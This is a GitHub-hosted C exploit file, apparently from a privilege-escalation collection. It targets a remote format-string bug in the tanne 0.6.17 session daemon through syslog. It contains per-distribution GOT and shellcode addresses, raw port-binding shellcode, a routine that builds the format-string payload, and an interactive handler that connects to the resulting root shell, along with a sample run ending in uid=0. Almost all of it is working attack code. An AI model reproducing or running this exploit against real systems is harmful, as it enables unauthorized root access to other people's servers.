forked from FuzzySecurity/Unix-PrivEsc
-
Notifications
You must be signed in to change notification settings - Fork 0
/
0x82-Remote.tannehehe.xpl.c
448 lines (391 loc) · 11 KB
/
0x82-Remote.tannehehe.xpl.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
/*
**
** [*] Title: Remote format string vulnerability in Tanne.
** [+] Exploit code: 0x82-Remote.tannehehe.xpl.c
**
** [+] Description --
**
** About:
** tanne is a small, secure session-management solution for HTTP.
** It replaces common sessions with a system consisting of PIN and TANs,
** well known from online banking.
** It's main purpose is to enable programmers of Web applications
** to have real secure sessions without cookies or session-ids.
**
** More detailed information is http://tanne.fluxnetz.de/.
**
** Vulnerability can presume as following.
** There is logger() function to 29 lines of 'netzio.c' code.
**
** __
** ...
** 65 syslog( LOG_INFO, txt ); // Here.
** ...
** 74 syslog( LOG_INFO, txt ); // Here.
** ...
** --
**
** This is very dangerous security vulnerability.
** It's known already well. ;-)
**
** [+] Vulnerable Packages --
**
** Vendor site: http://tanne.fluxnetz.de/
**
** tanne 0.6.17
** -tanne-0.6.17.tar.bz2
** +Linux
** +Other
**
** [+] Exploit --
**
** Proof of Concept on RedHat Linux 8.0, tanne-0.6.17.tar.bz2:
**
** bash-2.05b$ ./0x82-Remote.tannehehe.xpl -t2
**
** Tanne Remote format string Xploit by Xpl017Elz
**
** [*] Target host localhost
** [*] Target type: Red Hat Linux release 8.0 (Psyche) tanne-0.6.17.tar.bz2
**
** [1] Make it Format String.
** [-] syslog GOT address: 0x804d1c8
** [2] Pushing Shellcode.
** [-] Shellcode address: 0xbffff974
** [3] Setting Sock.
** [4] Send Code.
** [*] Waiting Rootshell :-)
** [5] Trying localhost:36864 ...
** [6] Connected to localhost:36864 !
**
** [*] Executed shell successfully !
** [*] OK, It's Rootshell
**
** Linux thanks_maze_dorumuk 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002
** i686 i686 i386 GNU/Linux
** uid=0(root) gid=2(daemon) groups=0(root),1(bin),2(daemon),3(sys),4(adm),
** 6(disk),10(wheel)
** bash: no job control in this shell
** stty: standard input: Invalid argument
** [root@maze_dorumuk tanne-0.6.17]# id
** uid=0(root) gid=2(daemon) groups=0(root),1(bin),2(daemon),3(sys),4(adm),
** 6(disk),10(wheel)
** [root@maze_dorumuk tanne-0.6.17]# exit
** exit
**
** [*] Happy Exploit !
**
** bash-2.05b$
**
** GOT syslog address?
**
** bash-2.05b$ objdump --dynamic-reloc tanned | grep syslog
** 0804d1c8 R_386_JUMP_SLOT syslog
** bash-2.05b$
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
**
*/
/*
** -=-= POINT! POINT! POINT! POINT! POINT! =-=-
**
** If compile by DEBUG mode, it exploit do can.
** It's Proof of concept. (Therefore, don't support 'Brute-force' mode.)
**
** P.S Joke:
**
** I suffer because of English ability such as child sometimes. :-(
** So, I'm studying English hard. hehehe!
**
** Where is really fine English teacher?!
**
** Greets:
**
** Developer Uli Funcke, mAzE_Dorumuk, BrainStorm (hello!),
** ElectronicSouls (#!electronicsouls@efnet), INetCop(C) Security.
**
*/
#define Xpl017Elz x82
#define x0x_test1 (0x82*16)
#define x0x_test2 (0x82*8)
#define x0x_test3 (0x82*4)
#define x0x_test4 (0x82)
#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#define HOST "localhost"
#define PORT 14002
struct os {
int num;
char *ost;
unsigned long gotrs;
unsigned long shell;
int flag;
};
struct os plat[] =
{
{
0,"Red Hat Linux release 6.1 (Cartman) tanne-0.6.17.tar.bz2",
0x0804d224,0xbffffa14,11
},
{
1,"Red Hat Linux release 7.0 (Guinness) tanne-0.6.17.tar.bz2",
0x0804d260,0xbffff974,5
},
{
2,"Red Hat Linux release 8.0 (Psyche) tanne-0.6.17.tar.bz2",
0x0804d1c8,0xbffff974,5
}
};
// This is lovable shellcode, that's sweet in linux platform.
char shellcode[]= /* portshell shellcode, 128 bytes (tcp/36864) */
"\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c\x40\x89"
"\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46\x10\x10\x66\x89"
"\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89\x46\x18\xb0\x90\x66\x89"
"\x46\x16\x8d\x4e\x14\x89\x4e\x0c\x8d\x4e\x08\xb0\x66\xcd\x80\x89"
"\x5e\x0c\x43\x43\xb0\x66\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66"
"\x43\xcd\x80\x86\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80"
"\xb0\x3f\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c"
"\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";
unsigned char x82x82x82[x0x_test1];
void banrl();
int makefmt(u_long retloc,u_long shaddr,int flag);
int setsock(char *hostname, int port);
void usage(char *argument);
void re_connt(int sock);
void exect_sh(int sock);
int main(argc,argv)
int argc;
char *argv[];
{
int ax82=0;
int type=0;
int port=PORT;
int flag=plat[type].flag;
int sockr,sockr2;
extern char *optarg;
char hostname[x0x_test4]=HOST;
unsigned long retloc=plat[type].gotrs;
unsigned long shaddr=plat[type].shell;
(void)banrl();
while((ax82=getopt(argc,argv,"R:r:S:s:F:f:H:h:T:t:Ii"))!=EOF)
{
switch(ax82)
{
case 'R':
case 'r':
retloc=strtoul(optarg,NULL,0);
break;
case 'S':
case 's':
shaddr=strtoul(optarg,NULL,0);
break;
case 'F':
case 'f':
flag=atoi(optarg);
break;
case 'H':
case 'h':
strncpy(hostname,optarg,x0x_test4);
break;
case 'T':
case 't':
type=atoi(optarg);
if(type>2) /* 0,1,2 */
{
(void)usage(argv[0]);
}
else {
retloc=plat[type].gotrs;
shaddr=plat[type].shell;
flag=plat[type].flag;
}
break;
case 'I':
case 'i':
(void)usage(argv[0]);
break;
case '?':
fprintf(stderr,
" Try `%s -i' for more information.\n\n",argv[0]);
exit(-1);
break;
}
}
fprintf(stdout," [*] Target host %s\n",hostname);
fprintf(stdout," [*] Target type: %s\n\n",plat[type].ost);
fprintf(stdout," [1] Make it Format String.\n");
fprintf(stdout," [-] syslog GOT address: %p\n",retloc);
(int)makefmt((u_long)retloc,(u_long)shaddr,(int)flag);
fprintf(stdout," [3] Setting Sock.\n");
sockr=setsock(hostname,port);
(void)re_connt(sockr);
fprintf(stdout," [4] Send Code.\n");
send(sockr,x82x82x82,strlen(x82x82x82),0);
fprintf(stdout," [*] Waiting Rootshell :-)\n");
sleep(1);
fprintf(stdout," [5] Trying %s:36864 ...\n",hostname);
sockr2=setsock(hostname,36864);
(void)re_connt(sockr2);
fprintf(stdout," [6] Connected to %s:36864 !\n\n",hostname);
(void)exect_sh(sockr2);
}
void banrl() {
fprintf(stdout,"\n Tanne Remote format string Xploit by Xpl017Elz\n\n");
}
int makefmt(u_long retloc,u_long shaddr,int flag)
{
unsigned char x82x82[x0x_test2];
unsigned char x0x[x0x_test3];
int bx82,cx82,ex82,fx82,gx82,hx82;
int add1,add2,add3,add4;
bx82=cx82=ex82=fx82=gx82=hx82=0;
add1=add2=add3=add4=0;
memset((char *)x82x82x82,0,x0x_test1);
memset((char *)x82x82,0,x0x_test2);
memset((char *)x0x,0,x0x_test3);
*(long *)&x0x[0]=0x82828282;
*(long *)&x0x[4]=retloc+0;
*(long *)&x0x[8]=0x82828282;
*(long *)&x0x[12]=retloc+1;
*(long *)&x0x[16]=0x82828282;
*(long *)&x0x[20]=retloc+2;
*(long *)&x0x[24]=0x82828282;
*(long *)&x0x[28]=retloc+3;
/* real */
ex82=(shaddr>>24)&0xff;
fx82=(shaddr>>16)&0xff;
gx82=(shaddr>> 8)&0xff;
hx82=(shaddr>> 0)&0xff;
/* test */
add1=(shaddr>>24)&0xff;
add2=(shaddr>>16)&0xff;
add3=(shaddr>> 8)&0xff;
add4=(shaddr>> 0)&0xff;
if((add4-40)<10)
hx82+=0x100;
if((add3-add4)<10)
gx82+=0x100;
if((add2-add3)<10)
fx82+=0x100;
for(bx82=0;bx82<0x140-strlen(shellcode);bx82++)
x82x82[bx82]='N'; /* CodeRed?! Whoou ... */
for(cx82=0;cx82<strlen(shellcode);cx82++)
x82x82[bx82++]=shellcode[cx82];
fprintf(stdout," [2] Pushing Shellcode.\n");
fprintf(stdout," [-] Shellcode address: %p\n",shaddr);
snprintf(x82x82x82,x0x_test1,
"@%s" /* <- point */
"%%%d$%ux%%%d$n%%%d$%ux%%%d$n" /* $-flag */
"%%%d$%ux%%%d$n%%%d$%ux%%%d$n" /* format string */
"%s\n", /* code */
x0x,
(flag+0),hx82-40,(flag+1),(flag+2),
gx82-add4,(flag+3),(flag+4),fx82-add3,
(flag+5),(flag+6),0x100+ex82-add2,
(flag+7),x82x82);
/* funny :-) */
}
void usage(char *argument)
{
fprintf(stdout," Usage: %s -options arguments\n\n",argument);
fprintf(stdout," -r [retloc] - GOT address.\n");
fprintf(stdout," -s [shelladdr] - shell address.\n");
fprintf(stdout," -f [flagnum] - flag number.\n");
fprintf(stdout," -h [hostname] - target host.\n");
fprintf(stdout," -t [typenum] - target number.\n");
fprintf(stdout," -i - help information.\n\n");
fprintf(stdout," - Target Type Number List -\n\n");
fprintf(stdout," {0} Red Hat Linux release 6.1 (Cartman)"
" tanne-0.6.17.tar.bz2\n");
fprintf(stdout," {1} Red Hat Linux release 7.0 (Guinness)"
" tanne-0.6.17.tar.bz2\n");
fprintf(stdout," {2} Red Hat Linux release 8.0 (Psyche)"
" tanne-0.6.17.tar.bz2\n\n");
fprintf(stdout," Example1: %s -r0x82828282 -s0x8282bab0 -f5",argument);
fprintf(stdout,"\n Example2: %s -t 0 -h target.org\n\n",argument);
exit(0);
}
void re_connt(int sock)
{
if(sock==-1)
{
fprintf(stdout," [-] Failed.\n\n");
fprintf(stdout," Happy Exploit ! :-)\n\n");
exit(-1);
}
}
int setsock(char *hostname,int port) {
int sock;
struct hostent *he;
struct sockaddr_in x82_addr;
if((he=gethostbyname(hostname))==NULL)
{
herror(" [-] gethostbyname() error");
return(-1);
}
if((sock=socket(AF_INET,SOCK_STREAM,0))==EOF)
{
perror(" [-] socket() error");
return(-1);
}
x82_addr.sin_family=AF_INET;
x82_addr.sin_port=htons(port);
x82_addr.sin_addr=*((struct in_addr *)he->h_addr);
bzero(&(x82_addr.sin_zero),8);
if(connect(sock,(struct sockaddr *)&x82_addr,
sizeof(struct sockaddr))==EOF)
{
perror(" [-] connect() error");
return(-1);
}
return(sock);
}
void exect_sh(int sock)
{
int pckt;
char *cmd="uname -a;id;export TERM=vt100;exec bash -i\n";
char rbuf[1024];
fd_set rset;
memset((char *)rbuf,0,1024);
fprintf(stdout," [*] Executed shell successfully !\n");
fprintf(stdout," [*] OK, It's Rootshell\n\n");
send(sock,cmd,strlen(cmd),0);
while(1)
{
fflush(stdout);
FD_ZERO(&rset);
FD_SET(sock,&rset);
FD_SET(STDIN_FILENO,&rset);
select(sock+1,&rset,NULL,NULL,NULL);
if(FD_ISSET(sock,&rset))
{
pckt=read(sock,rbuf,1024);
if(pckt<=0)
{
fprintf(stdout,"\n [*] Happy Exploit !\n\n");
exit(0);
}
rbuf[pckt]=0;
printf("%s",rbuf);
}
if(FD_ISSET(STDIN_FILENO,&rset))
{
pckt=read(STDIN_FILENO,rbuf,1024);
if(pckt>0)
{
rbuf[pckt]=0;
write(sock,rbuf,pckt);
}
}
}
return;
}
/* eox */
--
_______________________________________________
Get your free email from http://www.hackermail.com
Powered by Outblaze